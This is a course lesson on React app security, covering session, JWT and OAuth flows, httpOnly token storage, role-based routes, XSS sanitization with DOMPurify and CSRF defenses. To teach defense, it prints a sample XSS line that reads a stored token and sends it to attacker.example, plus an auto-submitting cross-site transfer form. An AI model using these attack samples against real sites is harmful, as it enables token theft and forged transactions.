Week 25: Security, Authentication & Authorization

Week 7's protected routes assumed the hard part was already solved — an isLoggedIn flag just existed, and RequireAuth read it. This week builds the real thing underneath that flag: how a browser and a server actually agree that a user is who they say they are, where it's safe to keep the proof of that agreement, and how to stop a React app from being trivially exploitable by the two attacks that target it most: XSS and CSRF.

Module 15 of 17 Week 25 of 28 ~3–4 Hours Hands-on Exercise Included

By the end of this week, you'll be able to

  • Explain the tradeoffs between session-cookie, JWT, and OAuth/OIDC auth flows and pick the right one for a given app
  • Store auth tokens securely, and explain why localStorage is usually the wrong answer
  • Protect routes with role-based access control and prevent the most common React-specific XSS/CSRF mistakes

1. Auth Flows: Session vs. JWT vs. OAuth/OIDC

"Authentication" isn't one thing — it's a family of different mechanisms for the same underlying handshake: prove who you are once, then get treated as that identity on every request afterward without re-proving it each time. Three flows cover the vast majority of real apps, and each makes a different tradeoff.

  • Server session + cookie — the server generates a random session ID on login, stores the session's data (user ID, roles) in its own store (Redis, a database table), and sends the browser only the ID, in a cookie. Every request, the browser automatically attaches that cookie, and the server looks the session up. Simple to reason about, and revoking access is instant — delete the row. The cost: the server has to keep state for every logged-in user, which complicates scaling across multiple server instances unless the session store is shared.
  • JWT (JSON Web Token) — the server signs a token containing the user's identity and claims directly, and hands the whole token to the client. Any server holding the same signing secret can verify it without a database lookup — genuinely stateless, which scales trivially across instances. The cost: a JWT is valid until it expires, full stop. There's no "delete the row" — revoking a single compromised token before its expiry requires extra machinery (a denylist, short expiries plus refresh tokens) that reintroduces some of the state you were trying to avoid.
  • OAuth 2.0 / OpenID Connect (OIDC) — you don't verify credentials at all. The user authenticates with a third party (Google, GitHub, Auth0, Okta), and that party hands your app a token vouching for who the user is (OIDC layers "identity" on top of OAuth's "authorization"). Right for when you don't want to own passwords, want a faster signup flow, or need to act on a user's behalf against a third-party API (reading their Google Calendar, for instance).
example — session login response (server sets the cookie)
POST /api/login
Set-Cookie: session_id=8f3e...c1a; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=604800

{ "user": { "id": 42, "name": "Priya" } } // no token in the JSON body at all
example — decoded JWT payload (never store secrets here — it's readable, not encrypted)
{
  "sub": "42",
  "name": "Priya",
  "role": "editor",
  "iat": 1735689600, // issued at
  "exp": 1735693200  // expires 1 hour later
}

That last point about JWTs is easy to miss: a JWT's payload is base64-encoded, not encrypted. Anyone holding the token — including the user themselves, via their browser dev tools — can read every claim inside it. The signature only proves the server issued it unmodified; it proves nothing about secrecy.

Picking one

Single backend, want instant revocation and simplicity: server sessions. Multiple independently-scaled services that all need to verify identity without a shared session store: JWT. Don't want to own credential storage, or need delegated access to a third-party API: OAuth/OIDC. Plenty of real apps combine two — OIDC for login, then a short-lived session cookie for everything after.

2. Token Storage Tradeoffs

Choosing an auth flow answers "how do we prove identity." A separate, equally important question: once you have a token or session ID, where does it live in the browser? Get this wrong and the flow you chose in Section 1 stops mattering.

localStorage is the option that looks convenient and is usually the wrong answer. It's plain JavaScript-readable storage — which means any script running on your page can read it, including a script that shouldn't be there at all. If your app has even one XSS vulnerability (Section 4) — a single unsanitized dangerouslySetInnerHTML, a compromised third-party npm package, an ad script — an attacker's injected code can do localStorage.getItem('token') and exfiltrate it to their own server in one line. No cookie theft, no network interception required; the token was sitting in a place JavaScript was always allowed to read.

what an XSS payload can do if the token lives in localStorage
// injected via any unsanitized render path -- see Section 4
const stolen = localStorage.getItem('authToken');
fetch('https://attacker.example/collect?t=' + stolen); // token is now theirs

An httpOnly cookie closes exactly this hole: it's marked so that JavaScript cannot read it at all — not document.cookie, not any library, nothing running on the page. The browser still attaches it to requests automatically, so the server can still authenticate the user; client-side code simply never touches the credential. The tradeoff is that a cookie-based session opens the door to a different attack, CSRF, covered in Section 5 — httpOnly cookies aren't a free upgrade, they trade one risk for a different, more containable one.

server — login endpoint sets an httpOnly cookie, never returns a token in the body (Express)
app.post('/api/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await verifyCredentials(email, password);
  if (!user) return res.status(401).json({ error: 'Invalid credentials' });

  const token = signToken({ sub: user.id, role: user.role }); // JWT, but never sent to JS

  res.cookie('authToken', token, {
    httpOnly: true,               // invisible to document.cookie / any JS
    secure: true,                 // only sent over HTTPS
    sameSite: 'lax',              // mitigates CSRF -- see Section 5
    maxAge: 60 * 60 * 1000,       // 1 hour
  });

  res.json({ user: { id: user.id, name: user.name } }); // no token here
});
client — no token ever touches JS; the browser attaches the cookie automatically
async function login(email: string, password: string) {
  const res = await fetch('/api/login', {
    method: 'POST',
    credentials: 'include', // send/receive cookies on this cross-origin-capable request
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
  });
  return res.json(); // { user: { id, name } } -- that's all the client ever sees
}

// every later authenticated request just needs credentials: 'include' --
// no Authorization header to manage, no token to remember to attach
async function getProfile() {
  const res = await fetch('/api/profile', { credentials: 'include' });
  return res.json();
}
What about a plain in-memory variable?

Keeping a token in a React state variable (not localStorage) is still readable by any injected script while that script runs, but at least doesn't persist it for an attacker to grab later or across tabs. It's a real improvement over localStorage, but an httpOnly cookie remains the stronger default whenever your frontend and API share a domain (or a configured cross-subdomain cookie) — it removes the token from JS's reach entirely, not just from persistent storage.

3. Protected Routes & Role-Based Access Control

Week 7's RequireAuth answered one question — is anyone logged in? Most real apps need a second, sharper question: is this logged-in user allowed to see this page? An admin dashboard shouldn't render for a user whose role is "viewer", even though they're fully authenticated.

RequireRole.tsx — extends Week 7's RequireAuth with a role check
import { Navigate, Outlet, useLocation } from 'react-router';
import { useAuth } from './useAuth';

type Role = 'viewer' | 'editor' | 'admin';

function RequireRole({ role }: { role: Role }) {
  const { user } = useAuth();
  const location = useLocation();

  if (!user) {
    // not logged in at all -- same redirect Week 7 used
    return <Navigate to="/login" state={{ from: location }} replace />;
  }

  if (user.role !== role) {
    // logged in, but the wrong role -- a different destination than "please log in"
    return <Navigate to="/forbidden" replace />;
  }

  return <Outlet />;
}
route config -- wrapping only the admin subtree
const router = createBrowserRouter([
  { path: '/login', element: <LoginPage /> },
  { path: '/forbidden', element: <ForbiddenPage /> },
  {
    element: <RequireAuth />, // Week 7 -- must be logged in at all
    children: [
      { path: '/dashboard', element: <DashboardPage /> },
      {
        element: <RequireRole role="admin" />, // additionally, must be an admin
        children: [
          { path: '/admin', element: <AdminPage /> },
          { path: '/admin/users', element: <AdminUsersPage /> },
        ],
      },
    ],
  },
]);

Stacking wrapper routes like this composes cleanly: /admin is nested inside both RequireAuth and RequireRole, so an unauthenticated visitor bounces to /login and an authenticated non-admin bounces to /forbidden — two different, correct outcomes from one route tree.

The same check belongs in a loader (Week 7) too, not only a wrapper component — useful when the redirect decision should happen before any of the route's elements render at all, particularly for a route with its own data-fetching loader:

requireRole.ts -- a loader-level guard
import { redirect } from 'react-router';
import { getCurrentUser } from './auth';

function requireRole(role: 'viewer' | 'editor' | 'admin') {
  return async () => {
    const user = await getCurrentUser(); // reads the session, e.g. via /api/me
    if (!user) throw redirect('/login');
    if (user.role !== role) throw redirect('/forbidden');
    return user;
  };
}

// route config
{
  path: '/admin/users',
  element: <AdminUsersPage />,
  loader: requireRole('admin'),
}
Still not a security boundary

Exactly like Week 7's warning: RequireRole and requireRole loaders control what renders in the browser, nothing more. The /api/admin/users endpoint itself must independently check the caller's role on the server, every request — a client-side check is convenience for legitimate users, not a wall against anyone willing to call the API directly.

4. XSS Prevention & Sanitizing User Content

Cross-site scripting (XSS) is an attacker getting their own JavaScript to run inside your page, in your users' browsers, under your origin — which is exactly what makes Section 2's localStorage token theft possible, and much worse besides. React's default behavior already closes the most common door: when you render {'{someString}'} in JSX, React escapes it as text, not HTML. A comment containing <script>alert(1)</script> renders as the literal visible text of that string, not as an executed script tag.

safe by default -- JSX escapes this automatically
function Comment({ text }: { text: string }) {
  return <p>{text}</p>; // even if text is "<img src=x onerror=alert(1)>", it renders as inert text
}

The risk reappears the moment you opt out of that default with dangerouslySetInnerHTML — a prop that's honestly named: it hands React a raw HTML string and tells it to inject that HTML directly into the DOM, script tags, event handlers and all, with zero escaping. It exists because some content is legitimately meant to be rendered as HTML — a rich-text editor's output, a CMS field, a Markdown-to-HTML conversion — not because it's ever safe to point directly at unvalidated user input.

the unsafe version -- never do this with user-supplied content
function Comment({ html }: { html: string }) {
  // html came from another user's input. This executes anything they put in it.
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

The fix isn't to avoid rich HTML content — it's to sanitize it first, stripping anything that isn't safe to render (script tags, onerror/onclick handlers, javascript: URLs) while keeping legitimate formatting tags (<b>, <a>, <p>) intact. DOMPurify is the standard tool for this:

terminal
npm install dompurify
npm install -D @types/dompurify
SafeComment.tsx -- sanitize before rendering, every time
import DOMPurify from 'dompurify';

function SafeComment({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  });

  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// <SafeComment html="Nice work! <script>stealCookies()</script>" />
// renders: "Nice work! " -- the script tag is stripped entirely, nothing executes
The actual rule

If the content is a plain string, JSX already protects you — just render it normally. If it must be rendered as HTML, it must pass through a sanitizer immediately before dangerouslySetInnerHTML, with no exceptions for "trusted" sources — a compromised admin account or a hacked CMS is still user-supplied content from your app's perspective.

5. CSRF & Secure API Calls

Cross-site request forgery (CSRF) targets cookie-based auth specifically — it doesn't touch JWT-in-an-Authorization-header setups at all, because that pattern requires JavaScript on your own origin to attach the token, and a malicious site can't read or set headers on requests to your API. A cookie, on the other hand, is attached by the browser automatically, to requests from any site — which is exactly the mechanism CSRF abuses.

The attack: a user is logged into bank.example (session cookie set). They then visit evil.example, which contains a hidden form auto-submitting a POST to bank.example/api/transfer. The browser dutifully attaches the bank.example session cookie to that request — because it doesn't know or care which site's HTML triggered it — and the transfer executes as if the real user requested it, because as far as the server can tell, they did.

the attack -- hosted on a completely different site
<!-- evil.example -->
<form action="https://bank.example/api/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker-account" />
  <input type="hidden" name="amount" value="5000" />
</form>
<script>document.getElementById('f').submit();</script>
<!-- the browser attaches bank.example's session cookie automatically -- no consent needed -->

The SameSite cookie attribute is the first line of defense, and it's the one already set in Section 2's login example. SameSite=Strict tells the browser to never send that cookie on a cross-site request, period — the evil.example form above would submit with no session cookie attached at all, and the server would see an unauthenticated request. SameSite=Lax (the modern browser default) is slightly more permissive — it still sends the cookie for top-level navigations (clicking a real link) but blocks it on cross-site POSTs like the form above, which covers the CSRF case while not breaking normal cross-site linking.

the strongest setting, when your frontend and API share a site
res.cookie('authToken', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict', // never sent on any cross-site request, forged or not
});

For extra defense-in-depth (or when SameSite=Strict is too restrictive for a legitimate flow), the double-submit CSRF token pattern adds a second, independent check: the server sends a random token the page can read, the client echoes it back in a custom header on every mutation, and the server confirms the header matches — something a cross-site form, which can't read your page's JavaScript or cookies, has no way to forge.

client -- read the CSRF token from a non-httpOnly cookie, echo it back on mutations
function getCsrfToken(): string | undefined {
  return document.cookie
    .split('; ')
    .find(row => row.startsWith('csrf_token='))
    ?.split('=')[1];
}

async function transferFunds(to: string, amount: number) {
  return fetch('/api/transfer', {
    method: 'POST',
    credentials: 'include',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': getCsrfToken() ?? '', // a forged cross-site request can't set this
    },
    body: JSON.stringify({ to, amount }),
  });
}
Why the CSRF token cookie isn't httpOnly

The double-submit pattern relies on your own page's JavaScript being able to read the token and echo it in a header — that's the entire proof that the request originated from your site, since a cross-origin attacker's script can't read cookies set for your domain. The auth cookie stays httpOnly; the CSRF token cookie is a separate, deliberately-readable value with no sensitive data in it.

6. Hands-on Exercise

Hands-on

Build a real RequireAuth/RequireRole pair, an httpOnly login flow, and a sanitized comment

Turn this week's security concerns into working code inside one small app — including the two Part 1 doesn't reach: a real OAuth redirect flow and CSRF protection on a state-changing request.

Part 1 — Auth, roles, and sanitization:

  1. Write a RequireAuth route wrapper (as in Week 7) plus a RequireRole({'role'}) wrapper that accepts a role and redirects to /forbidden when the current user's role doesn't match — wire both into a route tree so /admin requires both being logged in and being an admin.
  2. Write a login() function that POSTs credentials to /api/login with credentials: 'include' and never reads or stores a token in JS. If you don't have a real backend available, write the Express-style handler from Section 2 in a comment above your client code to show exactly what it would set.
  3. Add a fake current-user hook (useAuth) backed by an /api/me call that relies purely on the cookie being attached automatically — no token passed manually anywhere in your client code.
  4. Install DOMPurify and render one piece of "user-generated" rich-text content (hardcode a string containing a <script> tag to prove it gets stripped) through a sanitized dangerouslySetInnerHTML, using an allowlist of tags.
  5. Add a comment documenting which SameSite value your login cookie uses and why you chose it over the alternative.
Hint

To confirm your token really isn't reachable from JS, open your browser's dev console on the running app and try document.cookie — an httpOnly cookie simply won't appear in that string, which is the whole point.

Part 2 — OAuth redirect flow and CSRF protection:

  1. Add a "Sign in with Google" button that redirects the browser to a (simulated) provider authorization URL, including a randomly-generated state parameter stored in sessionStorage before the redirect.
  2. Write the callback route (/auth/callback) that reads the code and state query params, verifies state matches what was stored before redirecting (rejecting the login if it doesn't — this is the CSRF protection built into the OAuth flow itself), and simulates exchanging code for a session by calling your existing /api/login-style endpoint.
  3. Add a CSRF token to one real state-changing request elsewhere in the app (e.g. the "Add Product" form from Week 20, or a comment-post action) following Section 5's double-submit-cookie or synchronizer-token pattern — read the token from a cookie or a hidden form field, and send it back in a header on the mutating request.
  4. Prove the protection works: temporarily strip the CSRF token from the request and confirm your (simulated or real) backend handler rejects it; put the token back and confirm the request succeeds again.
Hint

The state parameter check in Part 2's callback route and the CSRF token check in Part 2's mutation are solving the same underlying problem two different ways — confirming a request genuinely originated from your own app's flow, not a malicious page tricking the browser into replaying a cookie-authenticated request. Noticing that similarity is worth more than memorizing either mechanism in isolation.

7. Knowledge Check

Four quick questions. Expand each to check your answer.

Q1

What's the core tradeoff between a server session (cookie + server-side store) and a JWT?

A server session keeps state on the server, which makes revocation instant (delete the session row) but requires that state to be reachable by every server instance handling requests. A JWT is self-contained and stateless — any server holding the signing secret can verify it without a lookup, which scales easily, but there's no way to revoke a single token before it expires without adding extra machinery like a denylist.

Q2

Why is storing an auth token in localStorage usually the wrong choice?

localStorage is fully readable by any JavaScript running on the page. If the app has even one XSS vulnerability — one unsanitized render, one compromised dependency — an attacker's injected script can read the token directly with localStorage.getItem(...) and send it to their own server, no cookie theft or network interception required. An httpOnly cookie removes this risk because JavaScript can't read it at all.

Q3

When is dangerouslySetInnerHTML actually necessary, and how do you use it safely?

It's needed when content is legitimately meant to render as HTML rather than plain text — rich-text editor output, a CMS field, converted Markdown — cases where JSX's default text-escaping would be wrong, not just inconvenient. It's safe only when the HTML string is passed through a sanitizer like DOMPurify (with an explicit tag/attribute allowlist) immediately before rendering, every time, regardless of how "trusted" the source seems.

Q4

How does a SameSite=Strict cookie mitigate CSRF?

CSRF relies on the browser automatically attaching a session cookie to a request triggered by a form or script hosted on a completely different, malicious site. SameSite=Strict tells the browser to never send that cookie on any cross-site request, so the forged request arrives at the server with no session cookie attached at all — indistinguishable from an unauthenticated request, and rejected accordingly.